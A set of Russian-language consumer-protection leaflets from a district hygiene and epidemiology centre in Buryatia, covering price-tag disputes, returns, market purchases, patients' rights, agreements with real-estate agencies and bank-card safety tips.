Сборка и монтаж мебели могут входить в стоимость договора, а могут оформляться и оплачиваться отдельно. Если по проекту предусмотрена встраиваемая бытовая техника, к ней обязательно должны прилагаться гарантийные талоны и инструкции по эксплуатации. Помните, что подключать электрические или газовые плиты при покупке кухонной мебели имеют право только специализированные организации. Тогда как сантехнику могут установить и специалисты продавца (изготовителя) мебели.

Консультационный пункт по защите прав потребителей
ФФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе», 4-54-37





Несоответствие цен на ценнике и в кассе


Зачастую покупатели обращаются с жалобой на несоответствие цен на ценниках - в магазине берешь с витрины товар, запоминаешь его стоимость, а на кассе этот товар пробивается по другой цене, в основном завышенной. Большинство из нас равнодушно отходят в сторону и даже не пытаются отстаивать свои потребительские права, ведь разница в цене невелика, да и «нервы тратить» не хочется. Кассиры объясняют несоответствие цены на ценнике и на кассе тем, что якобы администратор не успел поменять ценник в зале,  а в компьютере кассы уже внесена новая стоимость, при этом разводят руками, что с этим ничего поделать нельзя. Как разрешить эту ситуацию? Кто прав? И надо ли платить дороже?
Конечно, продавцы лукавят. Они делают упор на то, что пока товар не куплен, он – собственность магазина, а такие слова, как «переоценка», «забыли поменять» и «не хотите - не покупайте», вроде как снимают с них ответственность. Но нет, не снимают!  
Ругаться и скандалить не надо. Обоснованно, терпеливо добивайтесь того, что вам положено по закону. Магазин нарушает Закон РФ «О защите прав потребителей»: покупатель всегда платит за товар не больше того, что указано продавцом на ценнике. Согласно п.1 ст. 10 закона, продавец обязан своевременно предоставлять всю необходимую и достоверную информацию о товарах, давая потребителю возможность сделать обдуманный выбор. Статья 10 п.2 уточняет, среди таких сведений должны быть точная цена в рублях до копейки и полные условия приобретения товара.
Еще один документ, который грубо нарушается таким магазином – Правила продажи отдельных видов товаров, утвержденные постановлением Правительства  РФ от 19.01.1998 года № 55. Согласно п. 19 Правил, каждый вид товара продавец обязан снабдить ценником, на котором должны быть разборчиво указаны наименование продукции, сорт, цена за вес или единицу. Поэтому никакие  объяснения о  забывчивости поменять ценники или другой партии не могут стать основанием для покупки по навязываемой вам завышенной цене.
В ситуации, когда кассир уже пробил чек, деньги уплачены, а после этого вы обнаруживаете, что истратили больше, чем планировали, вы также имеете все законные основания потребовать возврата излишне уплаченной суммы или обменять товар на деньги. При этом следует ссылаться на статью 12 Закона «О защите прав потребителей». Так что проверяйте чеки, не отходя от кассы.
Третий документ, который исключает подмену цены – это Кодекс РФ об административных правонарушениях, в частности статья 14.7. Согласно ей, представление недостоверной информации о цене товара – прямой обман потребителей. Если магазин отказывается  продавать  вам товар по указанной цене, возвращать разницу и возвращать уплаченные деньги, требуйте жалобную книгу и подробно изложите ситуацию, что вам был пробит товар по неправильному ценнику. Если вам отказано в предоставлении книги, обращайтесь с письменной жалобой в Федеральную службу по надзору в сфере защиты прав потребителей и благополучия человека. В качестве доказательства нарушения могут быть свидетельские показания, изложенные в жалобе и подписанные самими свидетелями, фотографии ценника и чека, желательно с указанием даты и времени (для этого можно поднести к ценнику включенный мобильный телефон).
По вашей письменной жалобе будет проведена проверка магазина и выписан административный штраф.
Ценник – это условие публичного договора, и продавец обязан вам продать вещь именно по той цене, которая указана на ценнике. 

По возникшим вопросам обращаться в ФБУЗ «Центр гигиены и эпидемиологии в
Республике Бурятия», 41 51 45




О личной медицинской книжке


В целях предупреждения возникновения и распространения инфекционных заболеваний и массовых неинфекционных заболеваний (отравлений) должны своевременно и в полном объеме проводиться предусмотренные санитарными и иными нормативными правовыми актами Российской Федерации санитарно-противоэпидемические (профилактические) мероприятия, в том числе мероприятия по осуществлению производственного контроля, проведению медицинских осмотров, профилактических прививок, гигиенического воспитания и обучения граждан.
 Приказом Федеральной службы по надзору в сфере защиты прав потребителей и благополучия человека от 20.05.2005 г. №402 «О личной медицинской книжке и санитарном паспорте» (зарегистрирован в Минюсте России 01.06.2005 г. № 6674) утверждена форма личной медицинской книжки для работников отдельных профессий, производств и организаций. поскольку сведения о состоянии здоровья работников имеют важное значение, как для благополучного функционирования отдельной взятой организации, так и общества в целом, то данные о прохождении медицинских осмотров подлежат внесению в личные медицинские книжки. Данное требование закреплено в п. 5 статьи 34 фз-52 «О санитарно-эпидемиологическом благополучии населения».
Личные медицинские книжки выдаются работникам производств и организаций (индивидуальным предпринимателям), деятельность которых связана с производством, хранением, транспортировкой и реализацией пищевых продуктов и питьевой воды, воспитанием и обучением детей, коммунальным и бытовым обслуживанием населения.
Личная медицинская книжка является документом строгой отчетности, защищенной от подделок полиграфической продукцией уровня "в" и свободной продаже не подлежит. В виду этого, медицинская книжка приобретается и голографируется в организациях, уполномоченных Роспотребнадзором.  Данный документ должен иметь печать организации Роспотребнадзора, выдавшей медицинскую книжку, а также подпись владельца и храниться у администрации организации или индивидуального предпринимателя и может быть выдана работнику по его требованию.  В медицинской книжке должны содержаться сведения о профессиональной гигиенической подготовке аттестации, которые проводятся только после заключения врача о допуске к работе по результатам медицинского обследования. Результат аттестации по профессиональной гигиенической подготовке подтверждается штампом ФБУЗ «Центр гигиены и эпидемиологии»,  проводившем обучение.  При увольнении и переходе на другое место работы личная медицинская книжка остается у владельца и предъявляется по месту новой работы. 
 Ом в Закаменском районе Филиала ФБУЗ «Центр гигиены и эпидемиологии в Джидинском районе» доводит до сведения граждан, индивидуальных предпринимателей и юридических лиц о том, что бланки личных медицинских книжек с защитной голографической маркой, Вы  можете приобрести  в нашем учреждении по адресу: г. Закаменск, ул. Больничная, д.6. Режим работы с 9 до 16 час.





15 марта - Всемирный день защиты прав потребителей.

В этом году мировая общественность отмечает Всемирный день защиты прав потребителей, который проходит под девизом: «Потребительское правосудие сегодня».
 За прошедшее время обществу удалось значительно продвинуться в решении основных проблем обеспечения прав потребителей. Национальная система защиты прав потребителей включает органы, функционирующие на федеральном, региональном и муниципальном уровнях, посильный вклад вносится общественными потребительскими организациями. 
В ходе консультирования потребителей в Консультационный пункт Ом в Закаменском районе Филиала ФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе» за 2012 год обратилось 118 человек и была оформлена 1 претензия, по сравнению с 2011 годом, где число обращений было 31.
  По итогам 2012 года в филиалы ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия» обратилось 729 потребителей, что в 4 раза больше, чем в 2011 году (186) и составляет 23% от общего количества обращений.
В 2012 году, как и прежде наиболее количество обращений приходилось на продажу неисправных технически-сложных товаров, в т.ч. бытового назначения – 767, что составляет – 25% от общего количества обращений, при оказании услуг гражданам наибольшая доля обращений приходится на оказание некачественных услуг в сфере ЖКХ – 282 обращения, что составляет 9 %.
За 2012 год выпущено на сайт МО Закаменский район и МО Джидинский район 36 статей, в печатные издания 30 статей. Итого за 2012 год опубликовано и выпущено ТВ СМИ 66 статей.
Выпущена 201 статья в республиканских и районных печатных СМИ и размещено на сайтах Администрации МО – 328 материалов.
Каждый потребитель имеет право на достойное обслуживание, приобретение качественных товаров по приемлемой цене, имеет право на выбор. Кроме того потребитель имеет право на высказывание своего мнения относительно товара или услуги, право на соблюдение безопасности.
В связи с этим на базе Ом в Закаменском районе ФФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе» был создан Консультационный пункт по защите прав потребителей, где любой потребитель может получить высоко квалифицированную юридическую помощь по защите нарушенных прав.
Девиз консультационного пункта по защите прав потребителей: «Мы здесь для Вас - всегда!»
За оказанием консультационной помощи в сфере защиты прав потребителей, можете получить по адресу: город Закаменск, ул. Больничная, 6 или по телефону 8(301-37)4-54-37
 ОМ в Закаменском районе Филиала ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия в Джидинском районе» поздравляет жителей Республики Бурятия с  Всемирным днем защиты прав потребителей и желает всем, чтобы ветер перемен принес только приятные изменения на потребительском рынке – больше качественных товаров, разнообразие услуг, потребительские знания молодежи и старшему поколению, мирное разрешение конфликтных ситуаций потребителей с продавцами и исполнителями.

Консультационный центр по защите прав потребителей
ОМ в Закаменском районе ФФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе»
тел 8(301-37)4-54-37






Выбор за мной

Теоретически права пациента в российском законодательстве в области здравоохранения представлены очень широко.
Среди прочего:
выбор медицинского учреждения и врача по согласованию с администрацией лечебного учреждения,
получение бесплатной медицинской помощи, соответствующей по объему и качеству Программе государственных гарантий  оказания гражданам РФ бесплатной медицинской помощи на всей территории страны, в том числе за пределами постоянного места жительства,
бесплатное обеспечение лекарственными средствами при оказании скорой медицинской и стационарной помощи (дневные стационары и стационары круглосуточного наблюдения) в соответствии с Перечнем жизненно необходимых и важнейших лекарственных средств (утверждается в субъектах Российской Федерации),
получение бесплатной стоматологической помощи в полном объеме препаратами и материалами в соответствии с утвержденным перечнем,
предъявление иска страхователю, страховой медицинской организации, медицинскому учреждению, в том числе на материальное возмещение причиненного по их вине ущерба,
обследование, лечение и содержание в условиях, соответствующих санитарно-гигиеническим требованиям,
облегчение боли, связанной с заболеваниями и (или) медицинским вмешательством, доступными способами и средствами,
получение информации о своих правах и обязанностях,
получение доступной информации о состоянии своего здоровья,
уважительное и гуманное отношение со стороны медицинского и обслуживающего персонала,
сохранение в тайне информации о факте обращения за медицинской помощью, о состоянии здоровья, диагнозе, иных сведений, полученных при обследовании и лечении,
согласие или отказ от медицинского вмешательства,
допуск адвоката или иного законного представителя для защиты своих прав

У каждого потребителя медицинских услуг есть законное право – убедиться в квалификации работника клиники, которому он доверяет свое здоровье. Квалификация подтверждается сертификатом специалиста, и его обязан иметь любой практикующий врач. Учреждение должно создавать условия для своих сотрудников (к ним относится и средний медицинский персонал), чтобы подтверждение квалификации происходило не реже одного раза в 5 лет. 

Консультационный пункт по защите прав потребителей
ОМ в Закаменском районе
Филиала ФБУЗ «Центр гигиены и эпидемиологии в
Республике Бурятия в Джидинском районе», 
Тел 8(301-37)4-54-37





Советы потребителю

   Когда случаются неприятности, т.е. нас обманули при покупке, техника сломалась, чек потерялся, а продавец нахамил, тогда мы судорожно вспоминаем, что есть некий Закон «О защите прав потребителей» и бросаемся под его защиту. Но отстаивание своих прав – дело хлопотное, дорогое, нервное и не всегда приводящее к нужному результату. Чтобы реже попадать в неприятные ситуации давайте изучать Закон не после посещения магазина и приобретения дорогой вещи, а до того.
  
   Когда   физическое лицо переступает порог магазина, фирмы или рынка с целью купить или заказать какой-то товар для личных, семейных, домашних нужд, то это лицо автоматически становится потребителем. Более того, вы являетесь потребителем, и вас защищает Закон, даже если вы только имеете намерение заказать или приобрести товар, поэтому отказ продавца отвечать на интересующие вас вопросы о свойствах товара уже считается нарушением ваших потребительских прав. Но потребителем является не только тот, кто хочет приобрести или уже приобрел определенный товар, но и тот, кто будет пользоваться этим товаром. Если фирма подарила своему сотруднику некий бытовой прибор, например, при уходе человека на заслуженный отдых, то новоявленный пенсионер является потребителем и может защищать свои права.
  Практически каждый покупатель знает, что он может поменять купленный и исправно функционирующий товар (конечно, не продукт питания) в течение 14 дней, не считая дня его покупки, если не подошла форма, габариты или комплектация. В этом случае товарный или кассовый чек, а также сохранность товарного вида, пломб, фабричных ярлыков обязательны. Если аналогичного товара уже нет в наличии, вам обязаны вернуть деньги или обеспечить обмен, когда поступит следующая партия.
  Но не все так просто. Существует  Постановление Правительства РФ от 19 января 1998 г. № 55 « Об утверждении правил продажи отдельных видов товаров, перечня товаров длительного пользования, на которые не распространяется требование покупателя о безвозмездном предоставлении ему на период ремонта или замены аналогичного товара, и перечня непродовольственных товаров надлежащего качества, не подлежащих возврату или обмену на аналогичный товар других размера, формы, габарита, фасона, расцветки или комплектации». 
Во-первых, в этом Постановлении указаны особенности продажи разных категорий товаров. Поэтому грамотному потребителю желательно внимательно изучить весь этот документ.
Во-вторых, дан сам перечень непродовольственных товаров надлежащего качества, которые нельзя обменивать просто потому, что вам не понравился цвет, форма или размер. Среди большого списка присутствуют «технически сложные товары бытового назначения, на которые установлены гарантийные сроки. Это значит, что бытовые приборы, конечно, если в них нет никаких дефектов и недостатков, по Закону вы возвратить или обменять не можете. И если в каком-то магазине вам идут навстречу и меняю черный чайник на серебристый, то стоит сказать за это «спасибо» доброму продавцу.
    Совсем по-другому ведут себя продавцы и покупатели, когда речь идет о возврате или замене товара с недостатками. Тут уже и продавцы перестают быть добрыми, и покупатели заметно нервничают.
   Итак, если вам продан товар ненадлежащего качества, и вы об этом не были поставлены в известность продавцом, то вы вправе потребовать:
1. Безвозмездного устранения недостатков товара или возмещения расходов на их исправление;
2. Соразмерного уменьшения покупной цены;
3. Замены на товар аналогичной марки;
4. Замены на такой же товар другой марки с соответствующим перерасчетом покупной цены;
5. Расторжения договора купли-продажи.
По требованию продавца и ЗА ЕГО СЧЕТ потребитель должен возвратить товар с недостатками. Правда, не стоит везти сломавшуюся кофеварку в такси, петляя по городским улицам, такой счет вам вряд ли оплатят, но вот почтовые пересылки обязаны оплачивать производители или продавцы.
Самое интересное и важное, но и вызывающее больше всего споров   положение звучит так: «отсутствие кассового или товарного чека либо иного документа, удостоверяющих факт и условия покупки товара.  Однако, данное положение не является основанием для отказа в удовлетворении требований. Это условие продавцы стараются «забыть», но вместо товарного или кассового чека потребителем в подтверждение факта заключения договора могут быть представлены другие документы, подтверждающие факт оплаты, например, гарантийный талон с отметкой об уплате, свидетели покупки и т.д.
    Так что шанс без чека сдать товар обратно и выиграть соответствующее дело в суде есть. Но это всего лишь «шанс». При общей занятости, нехватке времени и патологической боязни всего, что связано со словом «свидетель» в нашей стране, будет очень трудно доказать факт покупки! Поэтому храните чеки в течение всего срока службы прибора.
   Можно разговаривать с продавцом и устно, но, если вы не исключаете возможности подачи иска в суд, то лучше письменно написать претензию, причем в двух экземплярах. Один вы отдаете продавцу, на другом, который остается у вас, представитель фирмы-продавца должен поставить дату приема заявления, подпись и печать магазина. Обязательно настаиваете на выполнении этого требования, чтобы у вас на руках были все доказательства.
    Ругаться  в любом случае не требуется, прежде всего, это ведет лишь к ответной брани и четкой защитной реакции продавца. Конечно же, продавец покажет вам уйму бумаг, согласно которым он действует, но помните, что любой договор, даже подписанный вами, недействителен, если он противоречит законодательству.

Консультационный пункт по защите прав потребителей
ОМ в Закаменском районе 
ФФБУЗ «Центр гигиены и эпидемиологии в Республике 
Бурятия в Джидинском  районе» 
тел. 8 (301-34) – 4-54-37





Как не обмануться и не быть обманутым ?

Как часто вы возвращались домой с «облегченным» килограммом картошки или наоборот - не с запланированными 200 граммами сыра, а  почти с 400, естественно, не бесплатно, а за ваши же деньги ? Как часто рассмотрев приобретенные молоко или печенье, обнаруживали, что срок годности продукта истек или вот-вот закончится ?
Чтобы избежать такой неприятности покупателям следует взять себе за правило не стесняться  проверять правильность веса отпущенного товара на так называемых «контрольных» весах, которые должны быть в каждой организации торговли на доступном для покупателей месте,  и рынок здесь не исключение.
 Кроме того, старайтесь покупать товар в проверенных магазинах, которым Вы доверяете, обязательно проверяйте сроки годности приобретаемых товара и условия их хранения.
  Случается, что цены на ценниках не совпадают с занесенными в компьютер. Отговорка, о том, что цены только изменились и ценники не успели поменять,  практически всегда срабатывает, и покупатель оплачивает товар по завышенной цене.
Советуем всегда забирать с собой и сохранять магазинный чек до тех пор, пока дома вы не убедитесь в качестве купленных продуктов и правильности расчета. Если вас что-либо смущает в качестве приобретенных товаров – смело сдавайте товар в магазин и требуйте возврата денег – имеете полное право.
При выборе товара обратите так же внимание на этикетку приобретаемого товара: во-первых, обязательно, чтобы этикетка была и содержала информацию не только об изготовителе товара и его адресе, но и составе, сроке годности, условиях хранения, пищевой ценности продукта и т.д.; во-вторых, не стоит иметь дело с тем товаром, на котором нет этикетки, или она переклеена несколько раз. 
Не стоит забывать и том, что Вы, как покупатель имеете право увидеть документ, подтверждающий качество и безопасность приобретенного или приобретаемого товара, а это сертификат или декларация о соответствии, копия сертификата соответствия, заверенная установленным образом, товарно-сопроводительные документы, оформленные изготовителем или поставщиком и содержащие по каждому наименованию товара сведения о подтверждении его соответствия установленным требованиям. 
Если все таки Вы не нашли общий язык с продавцом и Вам отказали в возврате денег за товар ненадлежащего качества или каким-то другим образом ущемили Ваши права, просите книгу отзывов и предложений. Возможно, что  таким способом Вы «достучитесь» до руководителя нерадивых продавцов. Правила продажи отдельных видов товаров предусматривают предоставление книги отзывов и предложений по требованию покупателя. 
Как же действовать, если Ваши права нарушены недобросовестным продавцом, деньги за некачественный товар не возвращены, а запись в книге отзывов осталась без внимания.  
Для защиты своего права на возврат денежных средств Вы можете направить в адрес продавца заказным письмом с уведомлением либо вручить лично должностному лицу под роспись претензию, указав в ней все обстоятельства дела.  
В случае неудовлетворения заявленных требований в добровольном порядке Вы в соответствии с п. 1 ст. 11 Гражданского кодекса Российской Федерации имеете право обратиться в суд для восстановления и защиты своих прав.
Подводя итог сказанному, можно сделать вывод о том, что существенным препятствием на пути недобросовестных продавцов и товаропроизводителей может и должна стать надлежащая   информированность потребителя о его правах, грамотность и внимательность при выборе товара, активная позиция в защите прав как самих покупателей, так и общественных объединений потребителей.
С заявлениями (жалобами) вы можете обращаться в Территориальный отдел Управления Роспотребнадзора по РБ в Джидинском районе по адресу: с. Петропавловка, ул.Кирова, 6. тел/факс: 41-0-50? 41-4-96.

Специалист – эксперт ТО Управления 
Роспотребнадзора по РБ в 
Джидинском районе Рабдаева О.Б. 





Советы по покупке товаров на рынке 

Рынки – место торговли с повышенным риском для потребителей. Значительная вероятность быть обманутым является своеобразной платой за более низкие цены на основные товары, реализуемые через рынки. Покупатель должен критически оценивать ситуацию и брать инициативу в свои руки. Покупатели должны знать свои права, уметь пользоваться законодательством и правильно действовать.       Выполняйте  указанные  советы и Ваши  потери от обмера, обвеса, обсчета, а  также  риск  приобрести  недоброкачественные  товары на рынках будут минимальными!Совет 1.  Готовьтесь  к  походу  на  рынок  за  товарами  и  продуктами. Напишите  список, что  надо  купить, по  какой  цене  (желательно)  и  на  какую  сумму. Это  позволит  Вам  по  остатку  денег  контролировать  правильность  сдачи  и  сумму  оплаты.             Совет 2.  Будьте  готовы  к  диалогу  с  продавцом  после  покупки,  для  этого  поговорите   с  ним    до  покупки.  Спросите  продавца (конечно  же, до  покупки!) о  наличии:  документов, подтверждающих гос. регистрацию, санитарной  книжки (если  покупаете  продукты  питания),  сертификатов  соответствия  на  продукцию. Если  продавец  откажется  предъявить  документы или подтвердить факт покупки чеком, воздержитесь  от  покупки! Совет 3. Не  торопитесь, осмотритесь. Следует  избегать  принимать  решение  о  покупке  под  давлением  продавца (уговоры, различные  предлоги  для  срочной  покупки и т.д.)  или  стоящих  за  Вами  в  очереди  граждан.  Второпях   очень  легко  просмотреть дефекты товара,  неточный  вес  или  неполную  сдачу. Совет 4.  Ходите  на  рынок  в  компании  супруга, друзей, соседей, родственников. Если по какой-либо причине у Вас не оказалось копии чека, показания  свидетелей  будет достаточно для обмена товара, согласно ст. 25 закона «О защите прав потребителей».Совет 5. Выбирайте  не  только  товар, но  и  продавца. От  одной  неудачной покупки может  пострадать  вся  семья - это известно  всем. Поэтому  стремитесь  обзавестись  более-менее  постоянным  кругом  продавцов. Совет 6. Оцените  продавца  по  рабочему  месту, если он  Вам не знаком. Воздержитесь  от  покупки, если  имеются  явные  признаки  нарушения  пользования  средствами  измерения. Характерные  нарушения: применяются  загрязненные  гири  с  прорезью (для   товарных  весов), гири  связаны  между  собой  или  вместо  них  используется  бутылка  или  (хуже) пакет  риса, стрелка  весов  уперлась  в  ограничитель и “нуля”  не  видно, стекло разбито, стрелка  цепляет  циферблат  или  “успокаивается”  более  3 секунд, нет  пломбы  на  измерительном  механизме  и  клейма  о  поверке  на  стекле. Совет 7. Будьте готовы к попытке обвеса и правильно противодействуйте этому. Если  Вы  морально  готовы  к  вероятному  обвесу  как  к  обычному  элементу  нашей  жизни, то  не  нервничаете  и  не  делаете  ошибок. Почувствовав  обвес, сначала  расплачиваетесь. Этим Вы выполняете    свою  часть  обязательств  по  сделке  и   становитесь  владельцем  товара. Затем вежливо  просите  разрешение  перевесить  товар, то  есть  выражаете  намерение  воспользоваться  законным   правом  каждого  потребителя   на  проверку  веса. Великодушно  позвольте   продавцам  исправить  их  “ошибку”, напомнив  при  этом, что  отпускать   товар  чистым  весом  и  полной  мерой - обязанность  продавца.  

Консультационный центр по защите прав потребителей Филиала ФБУЗ «Центр гигиены и     эпидемиологии в РБ в Джидинском районе»
тел. 8-(301-37)-4-54-37





Памятка для потребителя


«Как составить договор с агентством недвижимости»
Обращения граждан поступающих в Консультационный центр по защите прав потребителей с жалобами на некачественное оказание информационно-посреднических услуг предоставляемых агентствами недвижимости являются одними из самых распространенных.  
Договор с агентством недвижимости не являются простой формальностью, как их воспринимает большинство граждан. Будет ли фактически оказана услуга, а так же качество ее предоставления, во многом зависит от того, как составлен данный документ, как внимательно вы с ним ознакомились.
Условия типовых договоров с агентствами недвижимости порой указаны формально, что и предполагает в дальнейшем формальное их исполнение. Некоторые существенные условия не указаны и вовсе.
Приведем примеры: 
обязательство исполнителя ограниченно предоставлением информации, что не подразумевает гарантию заключения сделки об аренде жилого помещения и (или) ее законность;
срок исполнения обязательств не указан или определен как «бессрочный», что для потенциаль-ных заказчиков является весьма заманчивым предложением, хотя на самом деле, может яв-ляться уловкой со стороны недобросовестного исполнителя; 
ответственность исполнителя за невыполнение обязательств по договору, например как возврат 10% от уплаченной суммы является явно ущемляющим для потребителя условием и фактически позволяет исполнителю не утруждать себя выполнением договорных обязательств.
в условиях договора отсутствует обязанность исполнителя в случае смены своего контактного телефона, адреса местонахождения офиса, графика работы, иных непредвиденных обстоя-тельствах немедленно либо в конкретный минимальный срок уведомлять об потребителя;
При заключении договора с агентством недвижимости предлагаем следовать нижеприведенным рекомендациям:
1. Убедиться в наличии документа свидетельствующего о государственной регистрации ис-полнителя и наименовании зарегистрировавшего его органа, либо его копии заверенной в установленном законом порядке;
2. Внимательно ознакомиться с текстом договора и предложить свои условия, например:
Уточнить и подробно указать обязательства исполнителя, ответственность за их неисполнение, а также срок действия договора (Примечание: если услуга определена, как «предоставление информации» это значит, что на этом обязательства исполнителя заканчиваются, что бы вам ни обещали во время собеседования);
Предложить исполнителю указать в договоре полный перечень услуг, их стоимость связанных с исполнением обязательства по предоставлению одного подходящего варианта жилья, на случай досрочного расторжения договора по инициативе потребителя;
Предусмотреть условие, о том, что услуга считается оказанной после подписания трехсторон-него акта об исполнении договорных обязательств обеими сторонами договора, в котором третьей стороной выступает потенциальный арендодатель и подтверждает, что обязуется за-ключить с вами договор аренды без предъявления каких либо иных условий, кроме тех, что указаны в договоре с агентством недвижимости;
Желательно, чтобы оплата по договору в полном объеме производилась только после подписа-ния Акта об исполнении договорных обязательств.
Обязательно предусмотреть обязательство исполнителя предоставить достоверную информа-цию об арендодателе и жилом помещении, для обеспечения юридической чистоты сделки и материальной ответственности в случае возникновения любых убытков связанных с несо-блюдением данного условия;
Обязательство исполнителя уведомлять заказчика СМС сообщением о месте, времени и дате встречи с потенциальным арендодателем, с определенного договором контактного телефона (данный способ уведомления удобен тем, что телефонные переговоры не записываются, а распечатку входящих сообщений всегда можно взять у своего сотового оператора;
Обязательство уведомлять заказчика о смене контактного телефона, адреса местонахождения офиса, графика работы, и иных непредвиденных обстоятельствах;
Обязательство отвечать на СМС сообщения потребителя, телефонные звонки в определенный договором срок (на случай уклонения исполнителя от переговоров с потребителем);
Предмет договора должен содержать индивидуальные характеристики заказа (например: ориентировочное место расположения, степень благоустройства, количество жилых комнат, наличие лифта, этаж, наличие охранной сигнализации, кабельного телевидения/интернета, расположение окон по сторонам света, исправность систем отопления и канализации, стоимость аренды (от __до__) на срок_______, % предоплаты за период_____ , санитарное состояние, наличие или отсутствие в договоре аренды условия об оплате коммунальных, отсутствие долгов по коммунальным услугам, удаленность от железнодорожных путей, удаленность от увеселительных заведений, кладбищ и т.д.) имеющие для вас существенное значение, соответствие которым является обязательным.  
По вашему усмотрению можно указать обязательство исполнителя обеспечить место встречи с потенциальным арендодателем в пределах района или города.
При встрече с арендодателем ни в коем случае нельзя заключать договор, и уж тем более его оп-лачивать, при отсутствии у него паспорта и оригиналов правоустанавливающих документов на жилое помещение. Если в договоре с арендодателем, выясняется что вселиться в жилое помещение сразу не получится, а только через определенное время, то желательно предусмотреть в нем условие, запре-щающее менять дверной замок без вашего на то согласия и обязывающее арендодателя обеспечить доступ в жилое помещение в день фактического заселения.
Потребители по искам, связанным с нарушением их прав освобождаются от уплаты государст-венной пошлины в соответствии с законодательством Российской Федерации о налогах и сборах. В соответствии с гражданским законодательством РФ, общий срок исковой давности составляет 3 года.

Консультационный центр по защите прав потребителей Филиала ФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе»
8(301-37)4-54-37 





Памятка держателю банковской карты

Банковская  карта – это вид платежной  карты, которую производит банк. Она  предназначена для совершения операций, расчеты по которым осуществляются за счет денежных средств, находящихся на банковском счете клиента и (или) кредита, предоставленного банком клиенту в пределах  установленного договором лимита.
По  виду проводимых расчетов  банковские карты можно разделить на следующие  основные типы:
Расчетная (дебетовая) карта предназначена для совершения операций ее держателем в пределах установленной кредитной организацией - эмитентом суммы денежных средств (расходного лимита), расчеты по которым осуществляются за счет денежных средств клиента, находящихся на его банковском счете, или кредита, предоставляемого кредитной организацией - эмитентом клиенту в соответствии с договором банковского счета при недостаточности или отсутствии на банковском счете денежных средств (овердрафт).
Кредитная карта предназначена для совершения ее держателем операций, расчеты по которым осуществляются за счет денежных средств, предоставленных кредитной организацией - эмитентом клиенту в пределах установленного лимита в соответствии с условиями кредитного договора.
Кредитная карта представляет собой такое  средство расчетов, при котором банк берет на себя обязанность перечисления средств клиента на другие счета и немедленной оплаты товаров, работ и услуг. Таким образом, кредитная карта позволяет ее владельцу при совершении любой покупки отсрочить ее оплату путем получения у банка кредита. Лимит кредитования определяется банком каждому владельцу карты на его счете. Следует заметить, что, клиент обязан вернуть банковский кредит в конкретные сроки. В случае задержки возврата банк вправе взимать заранее оговоренные с клиентом проценты за каждый день просрочки.
Многими банками допускается овердрафт - когда на расчетном счете клиента образуется отрицательный баланс - сумма, которая предоставляется банком под проценты. Если в процессе эксплуатации возникают сомнения в правильности использования карты следует позвонить в банк, выпустивший карту, и проконсультироваться.
Для того чтобы стать владельцем карты, нужно открыть в банке банковский счет для расчетов по операциям с использованием карт, заключив при этом соответствующий договор банковского счета, предусматривающий осуществление операций банковскими картами. При  выдаче карты, осуществляется ее персонализация, т.е. нанесение на нее данных, позволяющих  идентифицировать ее держателя (тиснение, нанесение  графической информации,  кодирование магнитной полосы или электронной схемы). Кроме того, каждой карте присваивается ПИН–код - персональный идентификационный номер, который предоставляет держателю карты  возможность ее использования  в банкоматах и терминалах.
Имейте  в виду, что существует целый ряд платежных систем, в т.ч. международных. Банк может являться участником различных платежных систем, эмитируя банковские карты. При открытии банковской карты вы заключаете договор с банком-эмитентом. Таким образом, банк берет на себя обязанность обслуживать Вашу банковскую карту через определенную платежную систему.
Банки, предоставляющие банковские карты, имеют неодинаковые услуги  в  области их использования. Помимо выдачи карты и ее годичного обслуживания, кредитные организации оказывают услуги по SMS-информированию, дистанционному управлению банковскими счетами, в том числе через интернет. Будьте внимательны: за оказываемые услуги кредитные организации могут взимать соответствующее комиссионное вознаграждение, а для обеспечения платежеспособности карты устанавливать размеры минимальных средств на карточном счете, минимального первоначального взноса, проценты на остаток на карточном счете и др.
При выборе карты следует учесть расчетную  сеть банка, число его банкоматов в регионе предполагаемого использования, число торговых и сервисных точек, принимающих к оплате платежные карты. Помните, что если торговая или сервисная точка принимает к оплате платежную карту конкретной платежной системы, то она должна принимать ее, независимо от банка-эмитента.
Следует учесть, что за обналичивание средств в банкомате банк также может снять комиссионные с Вашего счета, что указано в тарифах банка. Обычно комиссионные удерживаются за снятие денег в банкоматах других банков, либо в банкоматах этого же банка, расположенного в других регионах.
Будьте  бдительны при использовании  банковской карты. При выдаче карты клиенту банк, как правило, вместе с договором выдает правила пользования картой. Обращаем внимание всех держателей карт на необходимость тщательного изучения договора и правил пользования картой.
Обязательно  обращайте особое внимание на следующие  моменты!
1. Не давать согласия банку на  получение карты по почте и  на ее активацию по телефону, что необходимо зафиксировать  в заполняемой анкете (договоре). Это обезопасит Вас от ущерба, т.к. при неличной передаче карты она  может попасть в руки третьих лиц.
2. Подписать карту на обратной  стороне, обращая внимание на  соответствие подписи с той,  что зафиксирована в паспорте.
3. Хранить номер карты и ПИН-код  в тайне от других. Рекомендуется запомнить ПИН-код и не хранить его вместе с картой.
4. Оформить услугу SMS-оповещения о  проведенных операциях по карте.
5. Постоянно контролировать состояние  своего счета и осуществлять  операции в пределах счета,  не допуская проведение операций при нулевом остатке средств.
6. Услугу по предоставлению овердрафта  заключать отдельным договором с банком.
7. Уничтожать копии чеков, билетов  и других документов, где указан  номер Вашей карты.
8. Ни при каких случаях никому (даже представителя банка) не давать пароль доступа к своему счету через интернет.
9. Никогда ни при каких обстоятельствах  не передавать банковскую карту  для использования третьим лицам.
10. Не использовать ПИН-код при  заказе товаров либо услуг  по телефону/факсу или через интернет.
11. При утере/хищении карты немедленно  заблокировать ее, используя кодовое  слово, по телефону, указанному  в договоре, правилах пользования  картами, памятке клиента и  др. При утере карты для получения  наличных денежных средств обратиться  с паспортом в банк, выдавший карту.
12. При совершении операций с  картой без использования банкоматов  не выпускать ее из поля  зрения.
13. Осматривать банкомат перед его  использованием на предмет обнаружения  устройств, которые ранее Вами не наблюдались.
14. Не прилагать чрезмерных усилий при установке карты в карт-ридер банкомата и не допускать задержек при изъятии денег и карты из банкомата (через 30 секунд деньги и карта будут задержаны банкоматом).
15. Осуществлять операции с использованием  банкоматов, установленных в безопасных местах (в госучреждениях, в подразделениях банков, гостиницах, крупных торговых комплексах и т.д.).
16. Не пользоваться устройствами, которые  требуют ввода ПИН-кода для  доступа в помещение, где расположен банкомат.
